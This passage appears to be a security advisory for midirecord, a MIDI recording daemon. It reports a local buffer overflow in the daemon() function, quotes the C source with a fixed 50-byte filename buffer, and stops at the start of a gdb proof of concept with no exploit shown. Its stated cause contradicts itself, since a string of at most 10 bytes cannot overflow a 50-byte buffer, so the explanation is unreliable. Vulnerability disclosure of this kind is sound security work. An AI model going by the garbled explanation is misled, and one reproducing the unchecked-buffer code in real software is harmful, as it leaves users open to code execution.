It also features automatic recording to a MIDI file when you play electric piano, and thus it may be used as a "recording daemon". ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~~~~ The function daemon in affected by a bufferoverflow which could allow an attacker to execute malicious code from local. The problem is caused by the copyung of a string of max 10 bytes in the filename buffer of only 50 bytes. ------------------midirecord.cc----------------------------- void daemon(FILE* fin) { char filename[50]; printf("Waiting for note-on event.\n"); while(cont) { unsigned char status; fread(&status, 1, 1, fin); // read status if(status>>4 == 0x9) { get_datestr(filename); printf("Starting to record to %s.\n",filename); recordmidi(fin, filename); if(cont) printf("Finished. Starting to wait for note-on event.\n"); } } } ---------------------------------------------------------- POC: ~~~~ $gdb midirecord GNU gdb 6.3-debian Copyright 2004 Free Software Foundation, Inc.
